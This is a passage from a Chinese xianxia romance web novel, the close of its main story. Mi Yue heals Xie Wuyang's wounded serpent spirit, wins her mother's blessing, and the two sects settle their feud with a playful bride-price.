“走是要走的,我好歹是宫主,整日在你这里待着算怎么回事,”糜月顿了顿说,“再说走了又不是不回来了。” 她虽然不是什么好人,先前同他双修,纯纯是贪图他的修为,可在认清他的心意和蛟龙之事后,她心中已然有了个决定。 总不能……睡完就不负责了。 谢无恙总说受得是外伤养养就好,可糜月想到白蟒被那蛟龙雷焰灼烧的情景,加上他这几日贪睡,近距离更是能明显感受到他身上灵气的紊乱。 她不放心地说:“走之前……你的灵府得让我进去看看。” 谢无恙没有多言,侧过身来,额头与她相抵。 俩人就这么呈着面对面半拥的姿势,糜月的神念被他拉进灵府。 他的灵府之内,依旧是那副春暖花香,日和风惠的景象。那棵桃花树经年常开,灼灼繁盛。 白蟒恹恹地盘缩在桃花树下,身上的多处蛇鳞都被炸开了,露出了焦糊的血肉,正卧着休养生息。 糜月看到白蟒这副样子,心也跟着揪疼不已。 神相都伤成了这样,那人还能忍着一声不吭,甚至还在纠结她什么时候走。 她在白蟒身边席地而坐,双手覆上它受伤的鳞片,用自己的神魂一点点地滋养它,助它疗伤。 感受到身上传来的温和灵力,缓解了伤口处的疼痛。 白蟒勉力抬起沉重的头颅,看到为它疗伤的少女,轻吐出蛇信,小狗似地舔了舔她的手心,似是在表达感谢。 不知何时,糜月见到白蟒,已经没有惧怕和厌恶了。不管它是什么形态,它都是谢无恙的神相,是属于他的一部分。 她心疼他,同样地,也会心疼它。 从少女手中凝出来的温和神魂之力,让白蟒太过舒服,它轻舔了两口,蛇脑袋便耷拉下来,安心地枕在少女的腿上,于恬静的花雨之中,渐渐陷入了沉眠。 第80章(正文完) 第80章 第 80 章 聘礼。(正文…… 糜月在隐剑宗呆得过于久了, 糜芷音三催四催地发来传音纸鹤,直到语气里带上了些勒令,她方才姗姗回到琼山。 “娘亲, 我错了……” 糜月蹭在糜芷音怀里撒娇,宛如小时候那般。后者则好笑地抚了抚她的鬓发, 明知故问:“那隐剑宗有什么特别的, 让你流连至此,都不想回家了?” 糜月这些时日, 都在给谢无恙的白蛇神相疗伤,在她神识的滋养下,白蛇长出了新鳞, 已然有些见好了。 本该早些回来的,然而每次她一说要走, 谢无恙并不会说些肉麻的挽留的话, 只是单单不语地瞧着她, 眼尾红红的, 那神情仿佛被遗弃的可怜小狗。 糜月几次脚都跨出院子了, 回首看见窗扉下,没有束发的他,穿着单薄的里衣, 独自坐在窗边, 眼巴巴地望着她离开的背影, 眼底的眸光比月色还要清冷易碎,没忍住脚步一拐又回去亲亲抱抱他了,所以才耽搁到现在。 “呃……当然是因为,如今宫里有娘亲主事,所以我才能放心晚归, ”糜月歪头看了看她,抱有期待地问,“这烬花宫主之位,原本就是娘亲的,如今娘亲回来了,我是不是就可以甩手卸任了?” “想得美。” 糜芷音一句话就断绝了她的念头:“宫主之位既然传给了你,哪里有收回的道理?再者,不日我便要离宫外出,这宫中事务自然都要交给你打理。” “外出?”糜月心下一紧,攥住她的袖口,“娘亲好不容易回来,怎么又要离开?” 糜芷音忍俊不禁:“放心,不过是困在那幻境里太久,想同不眠去四境云游,看看外面的世界。” 玄机子说,秦不眠失忆的症状能通过调养,慢慢恢复,但多让他接触以前的人和事物,或许会恢复得更快一些。 所以她决定要带秦不眠去他们以前去过的地方多走走看看,说不定哪天他就能记起以前的事了。 哪怕记不起来也没关系,她不在意过去,只在乎未来,毕竟那些过去对他们来说,虽有值得回忆的部分,但痛苦更多。 “……” 娘亲要和她的老情人去云游,糜月自然无法多说什么。 她低头握着娘亲的手,轻轻叹气:“好羡慕秦不眠,分走了娘亲这么多爱。” 糜芷音反握住她:“月月,你会因为有了在意的男子,而减少对娘亲的爱么?” 糜月果断道:“当然不会!” “所以……是一样的,”糜芷音看着她,笑意温柔,“你不必羡慕任何人,你在娘亲心里,永远是无可取代的。” 糜月心里划过暖流,鼻尖有些发酸,她的娘亲便是世上最好的娘亲。 不过说起来这个…… “娘亲,还有一桩事,我也要征求下娘亲的意见……” 糜月挠了下脸颊,尚不知怎么开口,就见糜芷音挑眉问:“是你和谢无恙的事?” 她微讶地睁大眼睛:“娘亲你已经都知道了?” 糜芷音见她吞吞吐吐,早就已经猜到,她在隐剑宗迟迟不归,无非是因为那姓谢的小子受了伤。 “娘亲又不瞎,早在幻境里的时候,我就看出那小子对你非同一般,”糜芷音认真地看她,“你考虑清楚了?对他可是真心的?” 糜月沉吟了一会儿,不知道这是不是真心喜欢,因为从未有人给过她这样的体会和感受。 又或许,是因为种种的误会在前,她不想和杀母仇人的徒弟有所瓜葛,所以潜意识里一直在否认和逃避这个问题, 如今尘埃落定,在谢无恙被蛟龙所伤之时,她是真的心惊胆战,彷徨失措了。 在那一刻,她害怕失去他。 她会因他受伤而揪心牵挂,也会因和他的亲近和触碰,而感到身心愉悦。 她不知道这算不算喜欢,但可以肯定的是,这世上再没有男子,能抵得过谢无恙在她心里的份量,能左右她的情绪。 他已然在她心里占据了一块地方,那地方很小,只能装一个人,而且是再不容许任何人染指侵犯的那种。 迎着娘亲的目光,她轻点点头。 见她点头,糜芷音眉眼舒展:“只要你真心喜欢,任他是名满天下的剑修还是凡夫走卒,都不重要。最重要的是,不要委屈自己。” 她不会让她的月月步她的后尘,走她走过的岔路,只要是她看上的人,哪怕是天上的仙君,她都能给她弄来。 “娘亲只愿你此生尽得欢愉,无忧无愁,得与真心所悦者相伴,回首无憾。” 娘亲温柔的话语落在耳边,糜月的鼻尖更酸了。 她以为娘亲会不喜欢谢无恙,没想到娘亲会说这样一番话,更给她吃了一颗定心丸。 然而眼下,抛开她和谢无恙的事不说,导致两宗误会的祸乱蛟龙已除,但摆在烬花宫和隐剑宗之间仍有个棘手的难题。 便是那座刻有烬虚诀心法的地宫。 这么多年,烬花宫刻意与隐剑宗为敌,全是因为那座地宫的存在。而如今,不管以糜芷音和秦不眠的关系,还是糜月和谢无恙的关系,再谈将隐剑宗以武力驱逐,已是不可能之事。 针对这个难题,糜芷音和众副宫主们聚在一块,想了好半天,都没想出一个好对策。 有人提议,向隐剑宗买下那块山头,让他们搬宗,也有人提议,干脆将那地宫毁去,毕竟糜月已经将九重境心法都学完了,那地宫自然也没了作用。 这两个提议都被糜芷音否决了。 隐剑宗在玉京山也定居了数千年,若他们愿意搬迁,俩宗也不至于闹成如今这样,而炸毁地宫更不可行,地宫石壁上雕刻的心经,那是老祖宗留下的传承,怎可因为学会了就轻易毁去? 还是糜月忽然灵光乍现,眼睛发亮地拉住糜芷音的手。 “娘亲,我想到一个办法,这样行不行?” …… 数日后,隐剑宗执事殿。 “糜宫主是说……将地宫搬走?” 纪通和众长老目目相觑,继而望向座位上姿容美艳、又气场十足的女子。 “嗯,”糜芷音平静地说道,“玉京仙山原是我宗的旧址,山底有处地下秘宫,里面刻有我宗传承,我与众位副宫主们商议后决定将那地宫里的传承之物搬走。” 烬花宫人搬去西境之后,更喜欢那里四季怡人的气候,屡次来犯,只是为了这山底的地宫。 这地宫当初修建的目的,一为镇压蛟龙,二为传承心法,如今蛟龙被杀,地宫存在的价值便只剩心法了。 糜月提出了个办法,既然整座地宫搬不走,她们就只把那刻着心经的石壁拆卸下来,运回琼山。 而糜月刚好在宫殿下也修建了一座密室,虽然面积比地宫小一些,但将那些刻有心法的石壁嵌入,是完全足够的了。 “因此我宗弟子近日要频繁出入玉京山,还请纪掌门行个方便。” 虽然不知糜芷音要如何做,但她保证不伤玉京山的根基,只是将地宫里的一些物件带走。 纪通求之不得。 烬虚诀是配合烬花神相才能发挥作用的心决,他们隐剑宗都是剑修,那被烬花宫视为至宝的心诀,对他们来说不仅全无用处,更是个烫手山芋,他巴不得她们赶紧把那烫手山芋接走。 “还有那蛟龙鼎……” “那鼎我们实在不知是贵宗之物,如今知晓,自当还给贵宗。” “多谢纪掌门。” 糜芷音朝殿外等候的弟子们使了个眼色,弟子们搬进来一抬抬的箱子,全是紫檀描金的箱匣,豪气十足,里面装着的似乎是灵石。 纪通问:“那些是什么?” “聘礼。”糜芷音淡定道。 “???” “左边那些是我的,右边那些是我女儿的。” “……” “糜宫主,这、这可使不得……” 纪通简直要被那些成堆的灵石闪瞎了眼,震惊得说话都结巴了。他何德何能收下这些聘礼,糜芷音要的那俩人一个是他的师父,前任隐剑宗掌门,一个是比他修为还高的师弟。 按照辈分,他都要改口叫糜芷音师娘了。 糜芷音淡淡一笑:“纪掌门尽管收下,算是以往,对贵宗门多有冒犯的赔礼了。” …… 与此同时,悬海阁庭院内。 春日和暖,晓风和煦,庭院里栽得石榴树俱已开花,红艳艳地连成一片。墙根处还栽着几株鸳鸯茉莉,微风袭过,芳香怡人。 谢无恙坐在院中的石桌前,正在给月饼梳毛。修长洁白的手握着玉骨梳,梳下几缕浮毛,随手将浮毛捻成球状,他一下下梳得慢条斯理,又心不在焉。 月饼很黏糜月,在她刚走的两天,每天都要去还残留着她气息的竹榻上逛上一圈,左闻闻右闻闻,直到确认糜月不在了,才有些低落地去找谢无恙讨要灵果吃。 他低眸看着面前恋主的肥兔子,觉得自己和它甚是有几分同病相怜。 糜月说要回宫几天处理事务,谢无恙相信她,可是他守着无人的悬海阁度过漫漫长夜时,那份患得患失的感觉又来了。 他在心里盘算好,倘若她一去不归,等他伤口换完最后一次药,他就直接带着月饼找上琼山。 似是觉察到他梳毛的心绪不定,月饼突然从石桌上跳了下去。 谢无恙回过神来,目光追随着向前奔跳的月饼,直到看到那截比石榴花还明艳的裙摆。 日光下,站着的少女一袭红裙,眉眼如画,肤色胜雪,仿佛在发光。 “跟我走吧,谢无恙。” 糜月开门见山地朝他步步走过来。 谢无恙呼吸渐轻,不由得问:“去哪里?” “当然是西境琼山了,”少女眉眼弯弯,眸光泛着清亮的光,“纪通收下了我娘亲的聘礼,把你卖给我了,你可不能反悔。” “现在去收拾东西吧,月饼我得抱回去养,”她蹲下身子,摸了摸月饼毛绒的脑袋,继而转过身道。 “还有那个我亲手给月饼做的草窝也带上吧,它可喜欢了,还有它爱吃的灵果和苜蓿,琼山还没来及种……” “院子里的这些雪人也要带着,那也是我亲手堆的,舍不得丢的……” 直到腰肢被人轻轻抱住,身后传来温热紧实的触感,止住了她喋喋不休的话音。 糜月从他清沉的嗓音里听出了些许压抑的颤抖。 “嗯,我师兄已经收下聘礼了,你绝对不能反悔。” 糜月转过身来,双手环住他的腰身,抬头凝视着他微微有些发红的眼尾。 这人……该不会是激动到哭了吧? “谢无恙,我跟你说,做侍宫可不是什么好事,除了陪我双修,还要负责打扫屋子,给我铺床、洗脚,做很多杂活累活的……” 糜月怕他不清楚烬花宫的规矩,和他说明白。 谢无恙一瞬不瞬地凝看着她,稳住情绪后,唇角浮上笑意,温声道:“好。” “侍宫不能随便离开琼山,要跟我报备才可以。” “好。” “我说什么便是什么,你事事都要听我的话。” “好。” 他一连串的好字,成功让糜月失语,又不禁想笑。 为何她以前会觉得他高冷心机又很难对付,他明明很好欺负又很好哄。 她将半张脸都埋在了他的怀中,轻声道:“谢无恙,我想问你一个问题……” “你是从什么时候开始喜欢我的?” 谢无恙开始认真回忆。 他不自觉想到了在无涯学宫,那个在桃花树上睡觉的小姑娘。小姑娘在他心里种下了一颗种子,后来在桐花秘境,她独立在花海之中裙摆翩然,回眸看了他一眼。 那颗种子好似便发了芽。 糜月从他口中听到“桐花秘境”,她也为之一愣。 一个身穿雪衣的清俊少年清晰在她脑海中浮现,他腰间挂剑,拂开树丛走出来,仿佛落在林间的雪花,纤尘不染。那是她第一次在桐花秘境里见到他。 或许,她也是那个时候,对他动了心而不自知。 毕竟,若是她真心想杀他,在过去的那些年里,她总能找到机会,但是她一次也没有对他下过死手…… 春日花浓,树影斑驳。 一对相拥的身影,仿佛融进了大好的春光里。 (正文完)